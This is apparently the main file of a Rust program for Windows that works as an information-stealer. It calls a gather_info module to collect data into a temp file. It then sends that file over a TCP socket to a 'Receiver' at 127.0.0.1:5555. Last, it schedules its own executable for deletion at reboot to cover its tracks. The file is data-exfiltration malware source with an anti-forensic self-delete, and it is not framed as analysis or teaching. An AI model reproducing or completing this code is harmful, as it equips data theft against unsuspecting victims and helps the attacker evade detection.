use std::ffi::OsStr;
use std::path::Path;
use std::ptr::null_mut;
use std::net::TcpStream;
use std::fs::File;
use std::io::{self, Read, Write};
use std::os::windows::ffi::OsStrExt;
use winapi::um::winbase::MoveFileExW;

mod gather_info;

fn send_data(path: &Path) -> io::Result<()> {
    let mut file = File::open(path)?;
    let mut buffer = Vec::new();
    file.read_to_end(&mut buffer)?;

    let mut stream = TcpStream::connect("127.0.0.1:5555")?;
    stream.write_all(&buffer)?;
    Ok(())
}


fn main() -> io::Result<()>{
    // let user = whoami::realname();
    // let dir_path = format!("C:/Users/{}/AppData/Local/Temp", user);
    let dir_path = format!("C:/Windows/Temp");
    let filename = format!("{}/info_gather.txt", dir_path);
    let file_path = Path::new(&filename);

    gather_info::gather_all_info(&file_path)?;

    send_data(&file_path).expect("Unable to send the File. Please check if the Receiver is stable");
    println!("Success !");
    schedule_self_delete();

    Ok(())
}



fn schedule_self_delete() {
    let exe_path = std::env::current_exe().unwrap();
    let exe_path_wide: Vec<u16> = OsStr::new(exe_path.to_str().unwrap())
        .encode_wide()
        .chain(Some(0).into_iter())
        .collect();

    unsafe {
        MoveFileExW(
            exe_path_wide.as_ptr(),
            null_mut(),
            0x00000004, // MOVEFILE_DELAY_UNTIL_REBOOT
        );
    }
}

